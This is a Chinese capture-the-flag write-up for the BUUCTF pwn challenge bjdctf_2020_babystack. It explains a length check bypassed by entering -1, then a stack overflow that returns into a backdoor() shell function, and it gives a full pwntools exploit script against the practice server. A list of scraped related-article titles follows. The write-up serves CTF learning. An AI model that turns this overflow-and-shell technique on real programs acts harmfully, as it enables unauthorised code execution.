bjdctf_2020_babystack

使用checksec查看:

只开启了栈不可执行。

放进IDA中分析:

  • __isoc99_scanf("%d", &nbytes);:让用户输入下次输入时接受的数据的长度。
  • read(0, &buf, (unsigned int)nbytes);:变量nbytes用户可控,存在栈溢出。

在Functions name处可发现后门函数backdoor()

  • 直接返回一个shell

题目思路

  • 变量(unsigned int)nbytes用户可控,且是个无符号函数。
  • 可用-1进行绕过,这样用户可输入的数据长度就十分巨大了。
  • 接着调用backdoor()即可getshell。

步骤解析

无需

完整exp

from pwn import *#start
# r = process("../buu/bjdctf_2020_babystack")
r = remote("node4.buuoj.cn",25148)
elf = ELF("../buu/bjdctf_2020_babystack")#params
backdoor_addr = elf.symbols['backdoor']#attack
r.recvuntil(b"your name:")
r.sendline("-1")
r.recvuntil(b"name?")
payload = b'M' * (0x10 + 8) + p64(backdoor_addr)
r.sendline(payload)r.interactive()

bjdctf_2020_babystack相关推荐

  1. [BUUCTF-pwn]——bjdctf_2020_babystack

    [BUUCTF-pwn]--bjdctf_2020_babystack 题目地址:https://buuoj.cn/challenges#bjdctf_2020_babystack Linux中che ...

  2. 【BUUCTF】bjdctf_2020_babystack Write Up

    继续刷buuoj中- 看到上新题了,是当时比赛的时候做过的一道题,顺手打掉 程序只开了NX保护,读入字符数可控,直接ret2text解决 遇到的小问题是,本地环境打0x4006E6打不通,换成了0x4 ...

  3. buuctf bjdctf_2020_babystack wp

    前期准备 没开啥 看看ida 发现有sh字符串 漏洞及利用思路 稍微看看这个主函数就知道他在干嘛了,先问你名字长度是多少,再用你输入的这个值去限制读取位数,说白了就是没限制,所以只要造成缓冲区溢出,覆 ...

  4. PWN-PRACTICE-BUUCTF-4

    PWN-PRACTICE-BUUCTF-4 ciscn_2019_en_2 bjdctf_2020_babystack not_the_same_3dsctf_2016 [HarekazeCTF201 ...

  5. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  6. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  7. buuctf(pwn)

    胖胖 pwn1_sctf_2016 ciscn_2019_n_11 补充movss /ucomiss jarvisoj_level0 ciscn_2019_c_1 babyrop [第五空间2019 ...

最新文章

  1. UIWebView中字体自动放大问题的探究
  2. countByValue
  3. 常用的函数式接口_Consumer接口练习_字符串拼接输出
  4. 单手撑跨栏、两个空翻,终于看到了比人厉害的机器人
  5. CSS display属性的值及作用
  6. 转:android 避免内存泄露
  7. 报错:此版本的SQL Server Data Tools与此计算机中安装的数据库运行时组件不兼容...
  8. 小米真香产品被友商怼:只有USB2.0接口 怎么播高码率的视频?
  9. angular分页插件tm.pagination 解决触发二次请求的问题
  10. sas导入txt出现中文乱码解决方案
  11. ajax 上传文件实例,Ajax 之文件上传
  12. linux将pdf转txt,如何快速把PDF转换成TXT
  13. Altium Designer 原理图输出为PDF文件
  14. 数据包络分析法(DEA)_2
  15. 自己写歌怎么编曲?4款超好用编曲软件推荐
  16. Word文档插入没有可用的联机内容
  17. centos7.6安装mysql数据库_CentOS7.6安装MYSQL8.0
  18. 洛谷4234最小差值生成树题解(最小生成树+LCT)
  19. 常用计算机键,键盘常用15个功能键(电脑入门基本知识键盘)
  20. Date入参和出参格式_@DateTimeFormat 和 @JsonFormat 注解

热门文章

  1. 在数据库中修改计价方式
  2. ios15从隐藏系统导航栏页面进入显示系统导航栏页面后,期望系统导航栏背景色为白色,但是导航栏背景变成黑色问题
  3. GS+9.0地统计软件学习
  4. NENU 17级算法学习小组Round 3 0606
  5. 关于游戏服务器运营商改如何做出选择
  6. 既是宋押司时 操盘手软件
  7. 用计算机写作文的重点难点,用计算机写作文》——学习智能ABC输入法
  8. c#背单词小程序视频_C#用timer实现背单词小程序
  9. HTML+CSS 小案例 响应式自适应登录界面
  10. MySQL生成百万条数据超详细步骤